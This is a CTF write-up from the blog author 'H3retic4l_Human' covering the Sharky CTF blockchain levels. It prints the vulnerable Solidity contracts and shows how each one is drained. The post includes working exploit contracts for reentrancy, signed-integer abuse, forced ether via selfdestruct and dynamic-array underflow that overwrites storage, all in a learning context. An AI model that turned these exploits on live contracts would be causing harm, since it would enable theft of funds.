Sharky CTF: Blockchain Level 0 to 4 Writeup

Nithilan Pugal
ZH3R0
Published in
10 min readMay 11, 2020

The Sharky Ctf Blockchain challenges were amazing challenges for people who have never touched smart contracts and the blockchain to get started on exploiting them. I absolutely loved it.

WARMUP:

So this is the first level. It is actually a really simple level. So we learn how to exploit smart contracts written in the solidity language and we use metamask as our browser wallet for ethereum and Remix IDE to compile and run the contract.

pragma solidity = 0.4.25;

contract Warmup {
bool public locked;

constructor() public payable {
locked = true;
}

function unlock() public payable {
require(msg.value == 0.005 ether);
locked = false;
}

function withdraw() public payable {
require(!locked);
msg.sender.call.value(address(this).balance)();
}
}

So this is the first contract code. Our goal is the steal all the money from the account. To use the function withdraw(), locked must be FALSE. For locked to be FALSE we must transact 0.005 ether to the instanciated address. So let us do that.

First create a new contract and paste:

Now compile it, and ignore all warnings unless if the warning color is in red:

Now lets go to the transaction tab and Paste our instanciated address at the “At Address” input and start the contract

Lets first “unlock” by sending it 0.005 ether:

Ok looks like we have got successful transaction to the contract!!!

.

.

.

We can now withdraw from the account now that locked is equal to false

After withdrawal confirmation, click on “get flag”

shkCTF{th4t_w4s_4n_1ns4n3_w4rmup_65c8522c0f36ed2566afa7}

LOGIC:

This is the next level. Hmmm the heat is starting to turn up!!!

pragma solidity = 0.4.25;

contract Logic {
address public owner;
bytes32 private passphrase = "th3 fl4g 1s n0t h3r3";

constructor() public payable {
owner = msg.sender;
}

function withdraw() public {
require(msg.sender == owner);
msg.sender.call.value(address(this).balance)();
}

function claim(bytes32 _secret) public payable {
require(msg.value == 0.05 ether && _secret == passphrase);
owner = msg.sender;
}
}

Now lets analyze the contract for Logic. We have to become the owner to withdraw from the account!!!

Now to become the owner we have to pass in the secret passphrase in bytes32 format AND send 0.05 ether too. Good thing about the blockchain is that all information can be seen. As we can see the passphrase is “th3 fl4g 1s n0t h3r3”. Now using an online string to bytes32 converter — https://blockchangers.github.io/solidity-converter-online/

Now we have the bytes32 conversion of the passphrase string:
0x74683320666c3467203173206e30742068337233000000000000000000000000

Now lets create a new .sol file for the new contract, compile, and put our instanciate address and input in the bytes32 converted passphrase…

After confirmation of transaction, do a “withdraw” transaction and then after the confirmation of the “withdraw” transaction click “get flag” and Viola!!!

shkCTF{sh4m3_0n_y0u_l1ttl3_byt3_f0f6145540ea8c6ee8067c}

GUESSING!!!!!!:

This was one of the most evil and most simplest smart contract yet to come!!!

pragma solidity = 0.4.25;

contract Guessing {
address public owner;
bytes32 private passphrase;

constructor(bytes32 _passphrase) public payable {
owner = msg.sender;
passphrase = keccak256(abi.encodePacked(_passphrase));
}

function withdraw() public {
require(msg.sender == owner);
msg.sender.call.value(address(this).balance)();
}

function claim(bytes32 _secret) public payable {
require(keccak256(abi.encodePacked(_secret)) == passphrase);
owner = msg.sender;

}
}

It looks like we have to become owner to be able to withdraw. To become owner we had to — cough cough — “Guess”!!! If we read the storage where the variable passphrase is stored we would only get the keccak256 hashed version. Don’t even try to bruteforce it or even THINK about cracking the hash which would be impossible. Now if we look at the variable passphrase we can see that it is private.
So if we check what private means: Private variables are only private for the smart contract scope which means they can’t be accessed or modified from other smart contracts. So we must find the original smart contract!!! Using out instanciated address let us search it on:

https://ropsten.etherscan.io/

Enter in the address and let us take a look at the contract:

Looking at the Contract section shows something interesting… Contract source verified??? It shows that this is related to another contract. That must be the original contract!!!

As we scroll down we see some data, yada yada yada and then…

Constructor Aruguments?!?!? So this must be the arguments input into the constructor arguments. That value looks like hex… If we convert it to ASCII it is…I’m pr3tty sur3 y0u brut3f0rc3d!, since it is already in bytes32 format we can just input this in for the “claimContract” function.

Now lets create a new .sol contract, compile, etc..

After claim function confirmation and the withdraw transaction confirmation, click on “get flag”:

shkCTF{bl0ckch41n_c0uld_b3_h3lpfull_05b12d40c473800270981b}

MUUUULLLLTIIIIPAAAASSSS:

This seemed absolutely appropriate here!!!

pragma solidity = 0.4.25;

contract Multipass {
address public owner;
uint256 public money;

mapping(address => int256) public contributions;

bool public withdrawn;

constructor() public payable {
contributions[msg.sender] = int256(msg.value * 900000000000000000000);
owner = msg.sender;
money = msg.value;
withdrawn = false;
}

function gift() public payable {
require(contributions[msg.sender] == 0 && msg.value == 0.00005 ether);
contributions[msg.sender] = int256(msg.value) * 10;
money += msg.value;
}

function takeSomeMoney() public {
require(msg.sender == owner && withdrawn == false);
uint256 someMoney = money/20;
if(msg.sender.call.value(someMoney)()){
money -= someMoney;

}
withdrawn = true;
}

function contribute(int256 _factor) public {
require(contributions[msg.sender] != 0 && _factor < 10);
contributions[msg.sender] *= _factor;
}

function claimContract() public {
require(contributions[msg.sender] > contributions[owner]);
owner = msg.sender;
}
}

To any in-depth glance through for a first-timer at blockchain and smart contracts you can’t find anything but after careful searching you can find a vulnerability. This site is absolutely helpful for general vulnerabilities in solidity smart contracts:
https://consensys.github.io/smart-contract-best-practices/known_attacks/

So the vulnerability in this code is something called Reentrancy, here the vulnerability is:
if(msg.sender.call.value(someMoney)()){
money -= someMoney;
This vulnerability is Reentrancy of a single function where the function is called again repeatedly before the first invocation is finished. So a hacker can exploit this by calling the function repeatedly thus money-=someMoney is looped until all the ETH is stolen. Now lets create a contract which exploits this:

pragma solidity = 0.4.25;import "./Multipass.sol";contract level3collect {
Multipass c;

constructor(address target) public payable {
c = Multipass(target);
}
function attack() payable {
c.gift.value(0.00005 ether)();
c.contribute(-1000000000000000000000000000000000000000);
c.contribute(-1);
c.claimContract();
c.takeSomeMoney();
}
function() payable {
while(address(c).balance > 0) {
c.takeSomeMoney();
}
}
}

Here is the exploit contract. As you can see we first gift and then we make our contributions bigger than the owner by exploiting that contribute takes in int256 numbers and only compares if the factor is less than 10, thus allowing us to use negative numbers.

In the function which is the fallback, it loops until the contract address’s balance is less than 0. So this keeps only the IF statement in loop thus not hitting withdraw = true;

Now lets compile the exploit and then Deploy it at the instanciate address, not At Address since we are creating a contract not using an existing contract. Also make sure you have another file containing the .sol for Multipass since we are importing functions from that contract.

After successful contract creation, look at the Deployed contracts and press attack function to launch the attack. Remember to satisfy all the conditions including sending the 0.00005 ether when using the attack function.

After successful transaction, click on “get flag” and MWAHAHAHA!!!

shkCTF{wr1t1ng_4_c0ntr4ct_t0_3xpl01t_4n_0th3r_2501dbec0821}

ShaShaSha:

This was one of the most interesting blockchain challenges!!! I loved it!!!

pragma solidity = 0.4.25;

contract Shashasha {
address public owner;
uint256 public money;

mapping(address => uint256) private contributions;

bool public hacker;
uint[] public godlike;

constructor() public payable {
owner = msg.sender;
contributions[owner] = msg.value * 9999999999999;
money += msg.value;
hacker = false;
}

function becomingHacker() public {
require(address(this).balance != money);
contributions[msg.sender] = 100;
hacker = true;
}

function remove() public{
require(hacker);
godlike.length--;

}

function append(uint256 _value) public{
require(hacker);
godlike.push(_value);
}

function update(uint256 _key, uint256 _value) public {
require(hacker);
godlike[_key] = _value;
}

function withdraw() public payable {
require(contributions[msg.sender] > contributions[owner]);
msg.sender.call.value(address(this).balance)();
}

function getContrib(address _key) public view returns(uint256) {
return contributions[_key];
}
}

Now looking at this it may look impossible to exploit this to an untrained eye but it is. Now looking at the Solidity code, it allows array underflow and overflow and allows it to take big inputs:

In the above contract we have a dynamic uint[] array. So what we have to do is underflow the array so from 0x0000… it goes to 0xFFFF… such that when we use the update function to overflow the array, the key is the offset into the stack where we reach the contribution which is stored in the stack and we overwrite it with value, the contribution we are aiming for is ours.

First lets becomeHacker by:

pragma solidity = 0.4.25;contract Suicide {
function Suic() payable {
selfdestruct(0x79f778578a80CF9f881b21Cb45b90316278d813d);
}
}

Here we created a contract which selfdestructs an ethereum block and that ethereum currency is forcefully added to the instanciated address which is: 0x79f…

Thus the balance of the contract will not be equal to the money variable. This will allow hacker = true; and thus exploit the program.

Compile and Deploy it, then use the Suic function to selfdestruct, make sure to send some ether or else it won’t work.

While that happens make a new .sol contract for ShaShaSha and then Compile and At address it at the intanciated address.

Then use becomeHacker function such that hacker = true, so you can overflow the array and re-write contribution.

Right now the array is at 0x000… and we must underflow it such that it’s state changes to 0xFFF… We can use the remove function as this will subtract 1 from the array causing it to underflow.

Now lets execute remove, after the transaction is successful, if we look at the TXN hash and information of the transaction on etherscan, and we look at the State Changes:

We can see that in slot 4 where are array is located in Storage it was underflowed from 0x000… to 0xFFF…Thus when we update the array this will overflow the buffer.

Now we must find the offset where we must overwrite, we will be aiming for our contribution and overwrite it to a higher value than the owner.

pragma solidity 0.4.25;contract offset {
function meep() public view returns (bytes32) {
bytes32 a = keccak256(uint256(address(msg.sender)),uint256(0x02));
bytes32 b = keccak256(uint256(0x04));
return bytes32(uint256(a) - uint256(b));
}
}

So this is how we calculate the offset for us which we will input in as the key.

So storage in memory is stored as the hex of the keccak256 hash, this will give more information on it: https://solidity.readthedocs.io/en/v0.4.24/miscellaneous.html

So we use our wallet address and calculate the offset to our mapping of contribution:

Compile and Deploy the contract and execute meep — sorry I was bored — for your offset which will be your key in update.

0x07e21e31244651b327aa456ff22c69cc573df24c3b1188e6d05d081cbb94a9d8

Now that we have the offset, use the update function, key should be the bytes32 of the returned value of the offset contract and value can be an integer or hex of a value which is bigger than the contribution of the owner.
Make sure it is not too big!!!

After successful transaction now execute withdraw, and after successful transaction. You have a final surprising waiting at the CTF site!!!

shkCTF{wh4t_th3_fuck_w1th_th4t_sh43_6aac18bebf505b9b1291477}

YAAAAYYY!!!! We got all the flags and it was fun!!!! I loved the blockchain challenges done by the SharkyCTF. I learned a lot!!

— H3retic4l_Human

--

--

Nithilan Pugal
ZH3R0
Editor for

What are we? Why do we do what we do? I am just a student of life and passion. I find myself to be a cynical pink crazy marshmallow which is full of life.